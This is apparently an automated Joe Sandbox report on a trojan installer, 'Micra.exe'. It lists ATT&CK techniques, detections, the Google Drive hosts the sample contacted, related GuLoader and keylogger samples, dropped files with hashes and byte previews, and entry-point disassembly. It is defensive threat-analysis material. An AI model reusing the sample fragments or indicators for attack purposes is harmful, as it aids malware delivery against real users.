Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	23 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Micra.exe	16%	ReversingLabs	Win32.Trojan.InjectorX
Micra.exe	100%	Avira	HEUR/AGEN.1361137

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.184.206	true	false		unknown
drive.usercontent.google.com	142.250.185.65	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	Micra.exe, 00000005.00000001.3420489258.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false		unknown
https://www.google.com	Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.ftp.ftp://ftp.gopher.	Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false		unknown
https://drive.usercontent.google.com/	Micra.exe, 00000005.00000003.3530333738.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974977352.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975134687.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975222724.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015767984.00000000056CD000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974880692.00000000056C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	Micra.exe, 00000005.00000001.3420489258.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error	Micra.exe	false	URL Reputation: safe	unknown
https://apis.google.com	Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Micra.exe	false	URL Reputation: safe	unknown
https://drive.google.com/	Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/s	Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/vCp	Micra.exe, 00000005.00000003.3530333738.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974977352.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975134687.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975222724.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015767984.00000000056CD000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974880692.00000000056C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.184.206	drive.google.com	United States		15169	GOOGLEUS	false
142.250.185.65	drive.usercontent.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545328
Start date and time:	2024-10-30 12:39:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Micra.exe
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@3/12@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 84% Number of executed functions: 53 Number of non-executed functions: 63
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Micra.exe

Simulations

Behavior and APIs

Time	Type	Description
07:43:48	API Interceptor	3x Sleep call for process: Micra.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.206 142.250.185.65
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	Scan_20241030.vbs	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.206 142.250.185.65
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	142.250.184.206 142.250.185.65
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.184.206 142.250.185.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll	Viridine84.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Viridine84.exe	Get hash	malicious	GuLoader	Browse
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse
	BOQ-_AE200033.exe	Get hash	malicious	FormBook, GuLoader	Browse
	BOQ-_AE200033.exe	Get hash	malicious	GuLoader	Browse
	onKJBaINbE.exe	Get hash	malicious	GuLoader	Browse
	onKJBaINbE.exe	Get hash	malicious	GuLoader	Browse
	l8DBc92n3x.exe	Get hash	malicious	GuLoader	Browse
	l8DBc92n3x.exe	Get hash	malicious	GuLoader	Browse
	jmQH1KPMfY.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.767999234165119
Encrypted:	false
SSDEEP:	192:cPtkumJX7zBE2kGwfy9S9VkPsFQ1MZ1c:N7O2k5q9wA1MZa
MD5:	C9473CB90D79A374B2BA6040CA16E45C
SHA1:	AB95B54F12796DCE57210D65F05124A6ED81234A
SHA-256:	B80A5CBA69D1853ED5979B0CA0352437BF368A5CFB86CB4528EDADD410E11352
SHA-512:	EAFE7D5894622BC21F663BCA4DD594392EE0F5B29270B6B56B0187093D6A3A103545464FF6398AD32D2CF15DAB79B1F133218BA9BA337DDC01330B5ADA804D7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Viridine84.exe, Detection: malicious, Browse Filename: Viridine84.exe, Detection: malicious, Browse Filename: rTransferenciarealizada451236.exe, Detection: malicious, Browse Filename: BOQ-_AE200033.exe, Detection: malicious, Browse Filename: BOQ-_AE200033.exe, Detection: malicious, Browse Filename: onKJBaINbE.exe, Detection: malicious, Browse Filename: onKJBaINbE.exe, Detection: malicious, Browse Filename: l8DBc92n3x.exe, Detection: malicious, Browse Filename: l8DBc92n3x.exe, Detection: malicious, Browse Filename: jmQH1KPMfY.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....uY...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..^....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\entomostraca\nonmissionary\Anklages.bod

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	429406
Entropy (8bit):	1.2536590133356693
Encrypted:	false
SSDEEP:	768:85nhJxzwEt9iIiklH+RybHpWf86+6Jl71/F4V/ay/b1kgPN0kfPvgJ95A9dqsFx/:7Et1jHF4h9exefjskVy6Ofnp44PcT+
MD5:	BEB0697FF747AFD61850CF6C4221D5BD
SHA1:	B36F5A97652154421DEDE2C9EFA27C5BC48F696B
SHA-256:	886B9AEA37A0D8F21E3A9DAEB974CFF48197A47FE17279130576779E43EA44D5
SHA-512:	A64ADB44F9EA5395C3712F84FAC6D124486F8589FD8F2F5E6AFABC741E603651F405954AEB753DA1AD67AF3A05B7C39CBC552334CDF4C075B032C58967089790
Malicious:	false
Reputation:	low
Preview:	..............=............................M.....9.....................f.........................".f.......................S.M..............................................*...........................u.........................u......\|.................................................................................................U.&..............8.....................m............................................................................................G..................5.................................................<.........................................t...............................s........................................................Y....y.....m...........................a..I.........Z...s..........Ww......................................~...........................................................................................................................c.................w.......>.".................................0..............r.......................]..

C:\Users\user\entomostraca\nonmissionary\Fuselfrie.Ana

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	228568
Entropy (8bit):	7.516314271137394
Encrypted:	false
SSDEEP:	3072:G7VK1UGg9mvrkplxGBPNfNJNPhVn4TJUCM5KPtvReD6ItqczXeC22fqAzAqw:GE29mvrkzxGBBN/vnyUiFYD6IM2p7W
MD5:	8F29858C4E5318A4116048E1CB83812C
SHA1:	5FB998C6DB44825881F7ED857632469EE74E27DD
SHA-256:	99D64DE556BD2EB2555A8A93B010944E1C56EF0A3EC859C0FA07EDFEFDD9F875
SHA-512:	98F1693B78113895B649067A6A399905B9CC8C3BE64666588F348F1E1CF9D92961419D219B523CEDA18DCC7942F0D39DA500BFFB76EEAAA47D5DC36669123875
Malicious:	false
Reputation:	low
Preview:	...6.........."...g.h.............^.................w..xx.}..>.J..w..........s.................................................]..................GG.m.........QQ.....^..f...............--...h.....s...................66..........$$................``...................@.....###....www..pp..................(............////.....j.x...````..;.......................5..AAA...............................GG.A.......%..............h.X.5........^...../.````........YY..................................77.................vvv....77....%%%.........................pppppppp..%.W...........>>>>>..LLLL........\\...g.....=.P.............>>>>...............................@......................................................<<.uuuuuu.............&...\|\|\|\|...Y..\|\|.......2.................(...99....................................{{{.....L........77....OO.......M...........]]]]]......<...&&....999999.+........r.......................Y..........!!...&...**....//.....................nn........................

C:\Users\user\entomostraca\nonmissionary\Procurable\phonetism.ham

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 8192.000000
Category:	dropped
Size (bytes):	221986
Entropy (8bit):	1.2553570110885655
Encrypted:	false
SSDEEP:	768:UEGD8pi+OnyGF8VOfpmIamQ+1r2xhgXPyxI+R/9d7jdr5oGEqsraoC8R55An+T7+:sy3E6xuqr5t3q4ls6
MD5:	5DC04B53C924A15C430DA960DB73AA27
SHA1:	D3367203E4F7EAC0D40EA08BD7434DB17CBFC2E8
SHA-256:	7EB2DCF0349AD2A17D56426054A123FF8DD0ECF60A74FBF59267D1E94FC86B78
SHA-512:	90C85BB1DA20E01F111FEF7270FF4827D268C86467DE338524EBD0E7736D1B77BF1BC9C3FA1FA1EE75A10CF3E9DF5680BABF49C4FD52E65E2A7F88C665EB3BF8
Malicious:	false
Reputation:	low
Preview:	.........................................<.;.....)...........................................^.......>.............................................h......i..........................s................................................................................m................................................................................................................................................D...........a.............c..............?.....................j...............'....~...................................................>...............w..................)...................................,...........V...V.................................n.........5........5................................................................................................................k...........T.......................t.........[............U.....U....*...................s........................................K..............\|..........................q..............................

C:\Users\user\entomostraca\nonmissionary\Procurable\skovtursstemningernes.and

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	279323
Entropy (8bit):	1.267147618148775
Encrypted:	false
SSDEEP:	768:r8/GPBxg6M7g7OzAqybt6Yan7KhA4wowv9w81X/W136VZ+iE8iTnqcfW/+YcM3kV:A6S6E+wB/Y1zzZ+K3dX
MD5:	A5DC7826AAD6E8F21B82862D3DCE5E19
SHA1:	DE1A5A38D84E7E89047D7CD75CE21476756569ED
SHA-256:	4E8B0FA52DC775D52F34528F17E40BC3C7B645DE8FCBD15A13E15C9D8C9343DE
SHA-512:	C44443A2C1E5738AF7FF276E80CCE08E6E830E1258252C43BD501AC8B3FA23FE72D801F9BF4EEE3BAF8075996FC89D2B276BDBE30AF421FAEBB0681922057DB7
Malicious:	false
Reputation:	low
Preview:	...........e.............................................................................................................q.....................................^.....................................................o...._..q........................n....................................g.........................................c..........S...............................................B..m...hu................$........................................D................O.............................5.......?.G............................................8.....................................4........r.................................................................................3........0U...................2........u..:...............p..........o..................................................7................................................................................................................}........._.............................n............................................>

C:\Users\user\entomostraca\nonmissionary\Procurable\telcontar.txt

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	381
Entropy (8bit):	4.251186060474368
Encrypted:	false
SSDEEP:	6:MRMCcIWh0MEHOLzaaFwc2NFb6vLoRYk1IUBH/suCyG1EKDn3Ko3MLFMLmPJg/f2M:MRXWhTkOLzlFwcpTotFCt1EKD3DMxxgb
MD5:	6EF48E64E0432B3EEB16614315305EAB
SHA1:	7921FB890955694225EF254DAD564FF42EA888B9
SHA-256:	981C4F156A8D30AE7B40E6B611114707B46D0EF7BA61D6ECD813267B99B0A6FF
SHA-512:	D58F034E162B33134C21373B0E7E77ADFC5B4A1E6B193BACA8960F2C33828CE0349DFA2B415605877075C65730245E1AF80049AAFBF450A6E1906218E7574811
Malicious:	false
Preview:	ihrdigstes nocturns venomly friis trykluftborenes.antropologernes sporvognssljfers klyngehus emissionsgrnsevrdiernes meditationernes opslidningen..flammation afvejendes fljtetndernes uranospinite sot kondicykelens megalopinae.undiscreditable frydet praedialist.myositic afskedserklring tenors intermittencies fraseologiske formwork untumid,indlgs regnspovers purpures recognisable,

C:\Users\user\entomostraca\nonmissionary\Septemvir\Bankboksene.Kra

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	435884
Entropy (8bit):	2.6573035461117933
Encrypted:	false
SSDEEP:	3072:tYG0yyZaZSZ/hTywvIjBMpsGyigplsTXtEPHSqAAxf:CG0yKagZ5TywvUupTaplsjtEPHSAxf
MD5:	5DDC684272F5566E42C69889C49A4804
SHA1:	ED65BEC09ABA644AEBAD63A79A3F061359F47CE4
SHA-256:	95EFC8DDF7CEB582033C3F5489AD7C9CFED33FAC6B6FE67906411F475F341049
SHA-512:	3D4B9EAA248C5C2C48BB38EB085E3417A6F7B1789877C5F3B7BEE438B22575506B122C0680AE496F5FAD5E5FD91CE165A778E3E3EFC59E49F32C072E8E9A601D
Malicious:	false
Preview:	00001500000000BDBD000062000000EA0000005100313131310000363600008B0000EA000505007F7F7F7F00000000A9000000009E009900000E0E0E0E0E0E007373008800A50000003232000000001616000606060077000000C900000200000000ABABAB005252008B8B00E20098980000454545002F2F2F2F0000570000A60000002C2C00DA0000007F00B300000015000000006A6A6A00004000500000000030000078787878000000FDFDFDFDFD000000F300000000860000D3D3001C1C0000BC0024240060600000F7F7F7F7001700F9F9F9F9F9F9F9F9F9000000007000BABA00001B1B0000000017000000E9000000A6A60000B2006A0000000000E4E4E4E4E4E40000A2006E6E00006C6C6C000C0C00000000FB00CE00610011006D00000000120000575700000050000000C800828200000000006D6D006E005100000000000024000000000000AFAF000000F00000570000001100EE0000D5D500000000000000C6C600009E9E00222200DADADA00001818000000006B0000000000006F0000000000DB00CACA000049006E6E00000000DCDCDCDC00000000F50000500000DD00000000E3E3E3000068002400C70000A40000D300999900005E008787005050500000009B9B9B9B0000FC0000F1F10000000057000000999900005F002600000049490000000000A9000004040404

C:\Users\user\entomostraca\nonmissionary\Septemvir\ankomsttidernes.obs

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 8637644800.000000
Category:	dropped
Size (bytes):	317856
Entropy (8bit):	1.2536722078272815
Encrypted:	false
SSDEEP:	1536:aSSMNripeTi8tcwZ5DxukXUgVOrokqGykfq:aWJThqSXUHyh
MD5:	E709E62365CAA58EF4BE2F1D9D635944
SHA1:	74C294CF4B723304883CF6812549E7584ED8CA44
SHA-256:	75C184E5697A25E1FDDB29321C1FE5670191041A26F7E5209264D4B948CDBDA5
SHA-512:	22F057ADD0FD2DC37F539B66E37E75AEDE5F59C255D878257B01ADCD22889B129778FD194F43822599C38619A515E1C07E38601257EC872CF6C2CF7BD597CE06
Malicious:	false
Preview:	....................................-...........q..h...............................................................................7.....................................................................C.....................................................................a..........................."..................................................c..........................................................................................:.{..............;..............U..........................................(........................................................................................................................................................................+...........q...0.....8...................h......`...........S......................:..................;.V....................^.................=...........................l..............N............................................................5........................5............\|.........k.....t............

C:\Users\user\entomostraca\nonmissionary\Septemvir\beggarliness.rab

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	433577
Entropy (8bit):	1.254581983664173
Encrypted:	false
SSDEEP:	1536:hnk5eUOtB6NJw8scQFwogPfCrb7iGRpPEG+sCLO6u:tktO8orbP/+su8
MD5:	5066398DACF47B0581CBAE543934824F
SHA1:	F17D4884D4F1743E99E9CC2ACB4927D3AAC3F87C
SHA-256:	E8A6C6CC2F29488EE76E0E5F5751C8345D8FCFA58AE162F98E07ECBABF8F58B5
SHA-512:	9B937A0D2A77DA03244B4ABEBE2B015A55FB3ACDF6E60587DEBDD5EFBE90D62EA0353D3EB0E77F7EB4A34FF0AFA6A85484A983B7C676E9AE821D6DC6A1559922
Malicious:	false
Preview:	.......................................3.....................w..........................................v.................0..............;...............................?......................................f.p........I..................................................r...................E...................................Z....u...........P................................................L........`............................<......................................(......................g..........................8......................h.....................)...........................~........P.................................................'..........................................................................................................-...................K............+.....<........................d.\|.........................................n..........................9............................................o......../.....................e.............................

C:\Users\user\entomostraca\nonmissionary\Septemvir\besindelse.del

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	478871
Entropy (8bit):	1.2462455290525662
Encrypted:	false
SSDEEP:	1536:oXoLe735oOOBiucAvUul/HY2/XtMWRHrRLhamiX:o4LuJNOBizS/HtFMWRLbam2
MD5:	BA84ECD8B2559ECBECBDE1432C367ECE
SHA1:	ABFFEADCFD7ED93B57D884A9437A62E19EB66D11
SHA-256:	9FAD11E966E65F071438182D65D5C366FDEC1B2E6E55B62FAC6D340ED6AF8E3D
SHA-512:	3EC3B59C9F7FC3039BFDF8F902A79F147F9D2F4D691BDAD62DF9EDC209061931469DC9857EAC0F22CA94FE3A33681520CFCD1953EBBAFE575BFFAB8263E6D52F
Malicious:	false
Preview:	.....................................\........................f.........................................<.............%...............................................;..........................................X....................................................................................................P...............................................................................................................................................................................................@...............................................................................................a.............................._...............,......................"......................&.................................:.a.........................t................,..................................................<.....................A.....................!.....................O...............S...........4.....J.....................................h......-...7..}..........................

C:\Users\user\entomostraca\nonmissionary\Septemvir\bevidsthedsudvidelsen.und

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	data
Category:	dropped
Size (bytes):	221536
Entropy (8bit):	1.2443001674266274
Encrypted:	false
SSDEEP:	768:Sr45/U0agoHI2U/gRdeMgkZhDARzPafwGkOyRuI6WFTPj4c2ciLTSXfkgzIWN2CV:z/3POxDyCo6yjXH
MD5:	2A6FFC736E96E911CC777DF21DD9207C
SHA1:	41FE98C7AC97AC97F444383E8838F63899AC6A85
SHA-256:	ADC2099B40E08D64C7C12E43F0A4877F9C8B2593B86EDB6EB6381049093AAFEE
SHA-512:	B5C391F6106950D37110144968B899FE6F929DBB00257657BA8E63FB1FFB024AEBE3EB6B8C3F0E4C336B5D4156D9A1E88D882F14D04555006AFD66175B59E95A
Malicious:	false
Preview:	........X........7.....................1.............................................&......u...........V..h...............,..............................G................................................................................l........................7.........^..................................................................&.............................................o........[............................................................Q.....................................................................................................H......................w...............................p..\..................................................Q...............................................ief........4................................................'................................*..................{......Q................(........................................................................................'...........................................V..................

C:\Windows\Resources\nringsmiddelet.ini

Download File

Process:	C:\Users\user\Desktop\Micra.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.44923074481598
Encrypted:	false
SSDEEP:	3:VHPy2E5scHXhNK:Vvy2ElG
MD5:	3A6FE7C926FA502CA28AE72B7A40D387
SHA1:	14D4A78172BDBBB103C39406164F43473BD92177
SHA-256:	B966D39B1859A38999191B79064330621498C5E278A337B0CAACAE18BD87703F
SHA-512:	D276FC59FF1AFE300BA5523FEDC53E156B8D64A085D7DF22521527BD1C115B2D0F8E724002D84933A396418216AD10B94A0DA455EBB008668FF6D1CE3DF5E499
Malicious:	false
Preview:	[fabrics]..Skipperhistorier128=Behaendig..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.623931163794707
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Micra.exe
File size:	933'720 bytes
MD5:	1ad521dbfab2e258ac84aa46e82fb5c7
SHA1:	560a6c25f441e888a805b328f773969a82e2c4a3
SHA256:	5249ac3848e42ac5264815414a321bfa6a698970ff8ffea1dd1d0a4e070b0224
SHA512:	496065d4dae3b0da346b9847a84086bbe680c15a1ef63d20c42bee0c39f4e66bf116f716f6daf234d44c97467cdb623426459e80ee7055905da6ab6c57d05c40
SSDEEP:	24576:6x+rrDFMAYnCCoAzEqb1o68762HnQIQMOKOaeK:6x+vDFMAYZFzEQ1oI2HTzOKOw
TLSH:	CA15011F26D80209D5DAEFB0CDC152FA83659C257C76E08E22E6753ECBBA9F95603064
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L...#.uY.................`.........

File Icon


Icon Hash:	92808aba4ace58ba

Static PE Info

General

Entrypoint:	0x4031bb
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x59759523 [Mon Jul 24 06:35:15 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3abe302b6d9a1256e6a915429af4ffd2

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Overlove, L=Wittstock, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	22/03/2024 02:17:38 22/03/2027 02:17:38
Subject Chain	CN=Overlove, L=Wittstock, C=DE
Version:	3
Thumbprint MD5:	B502F9926205E85E5A4669B6D46A7CF6
Thumbprint SHA-1:	5B7CB905CBFC6104F911866910B64FE370803BCB
Thumbprint SHA-256:	ECE7C4FBBD4349FF3651BA83F3FF32302F26EA4C0953B91CD0639E761FC2C0AE
Serial:	6EC9244EE48495A163DFEFC9D08B075518B3ED59

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A0h]
call dword ptr [0040709Ch]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042370Ch], eax
je 00007F733C8173E3h
push ebx
call 00007F733C81A49Ah
cmp eax, ebx
je 00007F733C8173D9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F733C81A416h
push esi
call dword ptr [00407098h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F733C8173BDh
push 0000000Ah
call 00007F733C81A46Eh
push 00000008h
call 00007F733C81A467h
push 00000006h
mov dword ptr [00423704h], eax
call 00007F733C81A45Bh
cmp eax, ebx
je 00007F733C8173E1h
push 0000001Eh
call eax
test eax, eax
je 00007F733C8173D9h
or byte ptr [0042370Fh], 00000040h
push ebp
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237D8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407178h]
push 00409188h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
